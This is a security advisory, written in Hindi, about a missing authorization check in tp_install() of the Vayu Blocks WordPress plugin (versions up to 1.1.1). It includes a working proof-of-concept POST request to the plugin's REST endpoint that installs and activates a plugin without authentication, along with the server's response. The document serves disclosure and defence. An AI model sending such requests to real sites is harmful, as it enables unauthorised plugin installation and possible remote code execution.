
Vayu Blocks – Gutenberg Blocks for WordPress & WooCommerce <= 1.1.1 - अनधिकृत प्लगइन स्थापना/सक्रियण के लिए प्राधिकरण की कमी
Vayu Blocks – Gutenberg Blocks for WordPress & WooCommerce <= 1.1.1 - अनधिकृत प्रमाणीकरण से अस्वीकृत प्लगइन स्थापना/सक्रियण की अनुमति
WordPress के लिए Vayu Blocks – Gutenberg Blocks for WordPress & WooCommerce प्लगइन संस्करण 1.1.1 तक (इसे शामिल करते हुए) अपने tp_install() फ़ंक्शन में क्षमता जाँच की कमी के कारण अनधिकृत प्लगइन स्थापना और सक्रियण की अनुमति देता है। इससे अनप्रमाणित हमलावरों के लिए मनमाने प्लगइन स्थापित और सक्रिय करना संभव हो जाता है, जिसका उपयोग दूरस्थ कोड निष्पादन प्राप्त करने के लिए किया जा सकता है यदि कोई अन्य कमजोर प्लगइन स्थापित और सक्रिय हो। यह भेद्यता संस्करण 1.1.1 में आंशिक रूप से पैच की गई थी।
POST /wp-json/ai/v1/vayu-site-builder HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/json
Content-Length: 347
{
"params": {
"plugin": {
"akismet": "Akismet Anti-Spam"
},
"allPlugins": [
{
"akismet": "akismet/akismet.php"
}
],
"themeSlug": "",
"proThemePlugin": "",
"templateType": "free",
"tmplFreePro": "plugin"
}
}
आपकी साइट URL वापस आना चाहिए।
HTTP/2 200 OK
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Allow: POST
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: application/json; charset=UTF-8
Date: Thu, 12 Dec 2024 15:12:24 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Link: <https://wp-dev.ddev.site/wp-json/>; rel="https://api.w.org/"
Pragma: no-cache
Server: nginx
Set-Cookie: PHPSESSID=95f3c834be0cac72019468ca39e71fa9; path=/
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Robots-Tag: noindex
"\"https:\\\/\\\/wp-dev.ddev.site\""